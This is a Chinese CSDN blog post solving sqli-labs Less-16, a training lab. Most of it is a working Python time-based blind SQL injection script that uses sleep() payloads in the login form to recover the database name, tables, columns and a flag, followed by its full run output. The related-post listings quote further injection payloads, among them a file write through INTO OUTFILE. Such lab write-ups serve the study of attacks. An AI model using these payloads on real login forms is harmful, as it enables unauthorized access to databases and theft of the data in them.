less-16 in sqli-labs

最新推荐文章于 2024-07-23 20:15:36 发布
最新推荐文章于 2024-07-23 20:15:36 发布
阅读量123 收藏
点赞数
分类专栏： # 安全学习之Sqli-Labs 文章标签： python sqli-labs ctf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LYJ20010728/article/details/113833801
版权

Less-16 延时注入【 " 】
自动注入脚本

import requests
import datetime
MAXLENGTH = 20

url = "http://sqli-labs:8080/Less-16/"

def getLengthOfDatabase():
    for num in range(1,MAXLENGTH):
        payload = "admin\") and if(length(database())=%s,sleep(2),1)#" % num
        data = {'uname':payload, 'passwd':"1"}
        first_time = datetime.datetime.now()    # 获得payload提交前的时间
        res = requests.post(url, data=data)
        second_time = datetime.datetime.now()   # 获得payload提交后的时间
        diference_time = (second_time - first_time).seconds     # 时间差
        if diference_time > 1:
            print("[+] 数据库的长度为 => {}".format(num))
            return num

def getNameOfDatabase(DATABASELENGTH):
    database_name = ""
    for i in range(1,DATABASELENGTH+1):
        for j in range(32,127):
            payload = "admin\") and if(ascii(substr(database(),%s,1))=%s,sleep(2),1)#" % (i, j)
            data = {'uname':payload, 'passwd':"1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                database_name += chr(j)
        print("[+] 数据库名为 => " + database_name)
    return database_name

def getNumberOfTables():
    for num in range(1,MAXLENGTH):
        payload = "admin\") and if((select count(*) from information_schema.tables where table_schema=database())=%s,sleep(2),1)#" % num
        data = {'uname': payload, 'passwd': "1"}
        first_time = datetime.datetime.now()
        res = requests.post(url, data=data)
        second_time = datetime.datetime.now()
        difference_time = (second_time - first_time).seconds
        if difference_time > 1:
            print("[+] 数据库中表的数量为 => {}".format(num))
            return num

def getLengthOfAllTables(NUMBEROFTABLES):
    lengthofalltables_list = []
    for i in range(NUMBEROFTABLES):
        for num in range(1,MAXLENGTH):
            payload = "admin\") and if(length((select table_name from information_schema.tables where table_schema=database() limit %s,1))=%s,sleep(2),1)#" % (i, num)
            data = {'uname': payload, 'passwd': "1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                print("[+] 第{}张表的长度为 => {}".format(i,num))
                lengthofalltables_list.append(num)
    print("[+] 所有表的长度为 => {}".format(lengthofalltables_list))
    return lengthofalltables_list

def getNameOfAllTables(NUMBEROFTABLES,LENGTHOFTABLE_LIST):
    nameofalltables_list = []
    for i in range(NUMBEROFTABLES):
        name = ""
        for j in range(1,LENGTHOFTABLE_LIST[i]+1):
            for k in range(32,127):
                payload = "admin\") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1))=%s,sleep(2),1)#" % (i, j, k)
                data = {'uname': payload, 'passwd': "1"}
                first_time = datetime.datetime.now()
                res = requests.post(url, data=data)
                second_time = datetime.datetime.now()
                difference_time = (second_time - first_time).seconds
                if difference_time > 1:
                    name = name + chr(k)
                    break
        nameofalltables_list.append(name)
        print("[+] 第{}张表的名字为 => {}".format(i+1,name))
    print("[+] 所有表的名字为 => {}".format(nameofalltables_list))
    return nameofalltables_list

def getNumberOfColumns(TABLE_TO_FIND):
    for num in range(1,MAXLENGTH):
        payload = "admin\") and if((select count(*) from information_schema.columns where table_name='%s')=%s,sleep(2),1)#" % (TABLE_TO_FIND,num)
        data = {'uname': payload, 'passwd': "1"}
        first_time = datetime.datetime.now()
        res = requests.post(url, data=data)
        second_time = datetime.datetime.now()
        difference_time = (second_time - first_time).seconds
        if difference_time > 1:
            print("[+] {}表中列的数量为 => {}".format(TABLE_TO_FIND,num))
            return num

def getLengthOfAllColmuns(NUMBEROFCOLUMNS,TABLE_TO_FIND):
    lengthofallcolumns_list = []
    for i in range(NUMBEROFCOLUMNS):
        for num in range(1,MAXLENGTH):
            payload = "admin\") and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='%s' limit %s,1))=%s,sleep(2),1)#" % (TABLE_TO_FIND,i,num)
            data = {'uname': payload, 'passwd': "1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                lengthofallcolumns_list.append(num)
    print("[+] {}表中列的长度分别为 => {}".format(TABLE_TO_FIND,lengthofallcolumns_list))
    return lengthofallcolumns_list

def getNameOfAllColumns(NUMBEROFTABLES,LENGTHOFCOLUMNS_LIST,TABLE_TO_FIND):
    nameofallcolumns_list = []
    for i in range(NUMBEROFCOLUMNS):
        name = ""
        for j in range(1,LENGTHOFCOLUMNS_LIST[i]+1):
            for k in range(32,127):
                payload = "admin\") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='%s' limit %s,1),%s,1))=%s,sleep(2),1)#" % (TABLE_TO_FIND,i,j,k)
                data = {'uname': payload, 'passwd': "1"}
                first_time = datetime.datetime.now()
                res = requests.post(url, data=data)
                second_time = datetime.datetime.now()
                difference_time = (second_time - first_time).seconds
                if difference_time > 1:
                    name = name + chr(k)
                    break
        nameofallcolumns_list.append(name)
    print("[+] {}表中列名分别为 => {}".format(TABLE_TO_FIND,nameofallcolumns_list))
    return nameofallcolumns_list

def getData(TABLE_TO_FIND,COLUMN_TO_FIND):
    # 初始化flag的长度为1
    flag_length = 1
    flag = ""
    # 从1开始无限循环flag的长度直到找出
    while True:
        # flag中每一个字符的所有可能取值
        for k in range(32,127):
            payload = "admin\") and if(ascii(substr((select %s from %s),%s,1))=%s,sleep(2),1)#" % (COLUMN_TO_FIND,TABLE_TO_FIND,flag_length,k)
            data = {'uname': payload, 'passwd': "1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                # 显示flag
                flag += chr(k)
                print("[+] " + flag)
                # flag终止条件，即flag的尾端右花括号
                if chr(k) == "}":
                    print()
                    return 1
                break
        # 如果没有匹配成功，flag长度加1，继续循环
        flag_length += 1

if __name__ == '__main__':
    print("Judging the length of the database...")
    DATABASELENGTH = getLengthOfDatabase()
    print("Judging the name of the database...")
    DATABASENAME = getNameOfDatabase(DATABASELENGTH)
    print("Judging the number of tables in the {}...".format(DATABASENAME))
    NUMBEROFTABLES = getNumberOfTables()
    print("Judging the length of every table in the {}...".format(DATABASENAME))
    LENGTHOFTABLE_LIST = getLengthOfAllTables(NUMBEROFTABLES)
    print("Judging the name of every table in the {}...".format(DATABASENAME))
    NAMEOFTABLE_LIST = getNameOfAllTables(NUMBEROFTABLES,LENGTHOFTABLE_LIST)
    for i in NAMEOFTABLE_LIST:
        print("[+]{}".format(i))
    TABLE_TO_FIND = input("Select the table name:")
    if TABLE_TO_FIND not in NAMEOFTABLE_LIST:
        print("Error!")
        exit()
    print()
    NUMBEROFCOLUMNS = getNumberOfColumns(TABLE_TO_FIND)
    print("Judging the number of columns in the {}...".format(TABLE_TO_FIND))
    print("Judging the length of every column in the {}...".format(TABLE_TO_FIND))
    LENGTHOFCOLUMNS_LIST = getLengthOfAllColmuns(NUMBEROFCOLUMNS,TABLE_TO_FIND)
    print("Judging the name of every column in the {}...".format(TABLE_TO_FIND))
    NAMEOFCOLUMNS_LIST = getNameOfAllColumns(NUMBEROFTABLES,LENGTHOFCOLUMNS_LIST,TABLE_TO_FIND)
    for i in NAMEOFCOLUMNS_LIST:
        print("[+]{}".format(i))
    COLUMN_TO_FIND = input("Select the column name:")
    if TABLE_TO_FIND not in NAMEOFTABLE_LIST:
        print("Error!")
        exit()
    print("Judging the data...")
    print("[+] The flag is...")
    getData(TABLE_TO_FIND,COLUMN_TO_FIND)

注入结果

D:\Pycharm\3.9\Scripts\python.exe D:/Pycharm/3.9/SQL注入/test2.py
Judging the length of the database...
[+] 数据库的长度为 => 8
Judging the name of the database...
[+] 数据库名为 => s
[+] 数据库名为 => se
[+] 数据库名为 => sec
[+] 数据库名为 => secu
[+] 数据库名为 => secur
[+] 数据库名为 => securi
[+] 数据库名为 => securit
[+] 数据库名为 => security
Judging the number of tables in the security...
[+] 数据库中表的数量为 => 5
Judging the length of every table in the security...
[+] 第0张表的长度为 => 6
[+] 第1张表的长度为 => 10
[+] 第2张表的长度为 => 8
[+] 第3张表的长度为 => 7
[+] 第4张表的长度为 => 5
[+] 所有表的长度为 => [6, 10, 8, 7, 5]
Judging the name of every table in the security...
[+] 第1张表的名字为 => emails
[+] 第2张表的名字为 => hermesflag
[+] 第3张表的名字为 => referers
[+] 第4张表的名字为 => uagents
[+] 第5张表的名字为 => users
[+] 所有表的名字为 => ['emails', 'hermesflag', 'referers', 'uagents', 'users']
[+]emails
[+]hermesflag
[+]referers
[+]uagents
[+]users
Select the table name:hermesflag

[+] hermesflag表中列的数量为 => 2
Judging the number of columns in the hermesflag...
Judging the length of every column in the hermesflag...
[+] hermesflag表中列的长度分别为 => [2, 4]
Judging the name of every column in the hermesflag...
[+] hermesflag表中列名分别为 => ['Id', 'flag']
[+]Id
[+]flag
Select the column name:flag
Judging the data...
[+] The flag is...
[+] f
[+] fl
[+] fla
[+] flag
[+] flag{
[+] flag{3
[+] flag{32
[+] flag{327
[+] flag{327a
[+] flag{327a6
[+] flag{327a6c
[+] flag{327a6c4
[+] flag{327a6c43
[+] flag{327a6c430
[+] flag{327a6c4304
[+] flag{327a6c4304a
[+] flag{327a6c4304ad
[+] flag{327a6c4304ad5
[+] flag{327a6c4304ad59
[+] flag{327a6c4304ad593
[+] flag{327a6c4304ad5938
[+] flag{327a6c4304ad5938e
[+] flag{327a6c4304ad5938ea
[+] flag{327a6c4304ad5938eaf
[+] flag{327a6c4304ad5938eaf0
[+] flag{327a6c4304ad5938eaf0e
[+] flag{327a6c4304ad5938eaf0ef
[+] flag{327a6c4304ad5938eaf0efb
[+] flag{327a6c4304ad5938eaf0efb6
[+] flag{327a6c4304ad5938eaf0efb6c
[+] flag{327a6c4304ad5938eaf0efb6cc
[+] flag{327a6c4304ad5938eaf0efb6cc3
[+] flag{327a6c4304ad5938eaf0efb6cc3e
[+] flag{327a6c4304ad5938eaf0efb6cc3e5
[+] flag{327a6c4304ad5938eaf0efb6cc3e53
[+] flag{327a6c4304ad5938eaf0efb6cc3e53d
[+] flag{327a6c4304ad5938eaf0efb6cc3e53dc
[+] flag{327a6c4304ad5938eaf0efb6cc3e53dc}
H3rmesk1t
关注
专栏目录
sqli-labs实验指导手册
11-17
sqli-labs是一个专门设计的实验平台，用于教育和实践SQL注入技术。以下是对sqli-labs实验指导手册中涉及的SQL注入知识点的详细说明： 1. **字符型联合注入**（如less-1）： - **注入点检测**：通过修改查询参数...
生命在于折腾——SQL注入的实操（四）less16-20
易水哲的博客
08-20 320
sql-lib项目，本篇文章介绍关卡16-20。
sqli-lab-less16
Sa1nZen的博客
08-03 120
sqli-lab-less16。
SQLI-LABS Less-15 到 Less-16
Web学习之路
03-24 137
布尔盲注
SQLi LABS Less 16 布尔盲注
热门推荐
wangyuxiang946的博客
08-14 1万+
SQLi 第十六关，SQLi-LABS Less-16，SQLi-LABS Less 16，SQLiLABS Less16，SQLi Less 16
Sqli-labs Less8-Less16
最新发布
beiweixiaotian66的博客
07-23 747
一丢丢小练习
sqli-labs靶场练习笔记
11-09
- **示例**：`http://127.0.0.1/sqli-labs-master/less-7/?id=-1')) union select 1,2,'($_POST["lcy"]);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php'--`。 - **第8关：基于延迟的...
sqli-labs less1.txt
11-26
sqli-labs less1 sql注入第一题，单引号闭合，详细全程，web注入实验，学习sql注入
2020-10-23-sqli-labs.md
01-24
接下来我们将逐一分析sqli-labs靶场中不同级别的案例，并提供详细的解决步骤。 #### Less-1 - **判断注入类型**：首先使用 `id=1 and 1=2` 判断是否为数字型注入，发现不是；然后使用 `id=1'` 显示错误，确定为...
PHP、Apache环境中部署sqli-labs（SQL注入靶场）
01-08
修改数据库配置文件 sqli-labs/sql-connections/db-creds.inc，数据库会自动创建，只要配置好用户名、密码、主机地址就可以。改好以后保存。 知识点 5: 添加网站 打开 phpstudy，添加网站。这一步除了填写域名，...
网络安全]sqli-labs Less-9 解题详析
等风来
07-23 2472
以上为[网络安全]sqli-labs Less-9 解题详析，后续将分享[网络安全]sqli-labs Less-10 解题详析[网络安全]SQL注入原理及常见攻击方法简析我是秋说，我们下次见。
sqli-labs (less-16)
kukudeshuo的博客
03-11 705
sqli-labs (less-16) 进入16关，输入用户名和密码，可以看到没有数据回显 输入 uname=admin'&passwd=admin&submit=Submit #没有错误回显 uname=admin"&passwd=admin&submit=Submit #没有错误回显 没有错误回显，我们只能一个一个去猜闭合方式，利用时间盲注去判断注入点 uname=admin' and sleep(5)#&passwd=admin&submit=Su
SQL注入详解 7-10关
君莫hacker的博客
09-25 786
目录Less-7（outfile 导入文件）Less-8（布尔盲注+时间盲注）Less-9（时间盲注）Less-10（时间盲注） Less-7（outfile 导入文件） 第七关总结： 第七关的标题为dump into outfile,这表明我们需要利用文件导入来进行注入，这里首先需要判断注入类型，然后导入的路径我们可以根据前几关来确定，在真实环境我们可以利用报错来得到一些路径，也可以判断服务器的类型，根据网站的默认路径等来获得绝对路径 判断注入类型 1' 1')) and 1=1--+ 1'))
sqli-labs/Less-16
m0_71299382的博客
11-18 282
sqli-labs第十六关
最详细的讲解 让你最快通关Less-9-Less-10/ --时间盲注http://127.0.0.1/sqli-labs-master/Less-10/ --时间盲注
m0_58883317的博客
04-17 5533
http://127.0.0.1/sqli-labs-master/Less-10/ --时间盲注 判断注入点 http://127.0.0.1/sqli-labs-master/Less-10/?id=1 and 1=1 and sleep(5) http://127.0.0.1/sqli-labs-master/Less-10/?id=1 and 1=1 and sleep(5) 根据页面显示我们可以知道使用联合注入是不可行的。页面无论对错都只显示you are in所以我们选择和less-9一样
Sqli-labs之Less-9和Less-10
→_→
04-01 725
Less-9 GET - 盲注 - 基于时间 - 单引号 从题目中我们了解到了这是一道关于单引号时间盲注的题，那么我们先尝试 ?id=1' 发现返回的结果竟然是 You are in ... 什么情况？于是分别尝试 ?id=1 ?id=1" 发现结果都是You are in ......
less-9 in sqli-labs
LYJ20010728的博客
12-16 157
Less-9 延迟注入[ ’ ] 先进行注入点的测试，发现试过很多回显都是一样的，当尝试到?id=1%27%20and%20sleep(5)%20--+，发现页面在迟缓后有回显，猜测是基于’的时间盲注 解题脚本 import requests import time import datetime MAXLENGTH = 20 url = "http://sqli-labs:8080/Less-9/?id=1%27 " def getLengthOfDatabase(): for num in
Sqli-labs靶场详细攻略Less 11-16
qq_41755084的博客
10-11 683
这一关页面发生了变化，开始使用post方法传递参数。在Username字段输入1'，查看错误信息。错误信息中发现password字段，基本可以确认这两个字段在同一个sql语句中联合查询。使用order by注入测试返回的参数为几列。测试到3时报错，证明返回两列。注意，这里的注释使用的是--（两个减号一个空格），而不是之前的--+。之前也提到使用加号是因为在某些http实现时会将加号转变为空格。这里使用#进行注释也是一样的。使用union select注入查询数据库名，数据库中表名。
【SQLI-Lab】-Less10
xinyue9966的博客
01-27 332
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注）前言一、GET字符型注入二、步骤总结 前言 一、GET字符型注入 执行数据库查询，并在回显点展示。 用户可以看到数据库查询出错时的错误语句，就可以观察报错语句分析出查询语句结构，从而构造特殊的payload进行注入，并从回显点中获取想要的信息。 二、步骤 和第7题思路过程一样，不过不需要写入、闭合字段后，开始用burp suite爆，具体过程不再细讲。 盲注爆库长度payload htt
sqli-labs-less-7
09-26
在这个例子中，查询的结果将被导出到文件"E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt"中。 通过这些步骤，我们可以成功执行SQL注入攻击，并将查询结果保存到指定的文件中。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值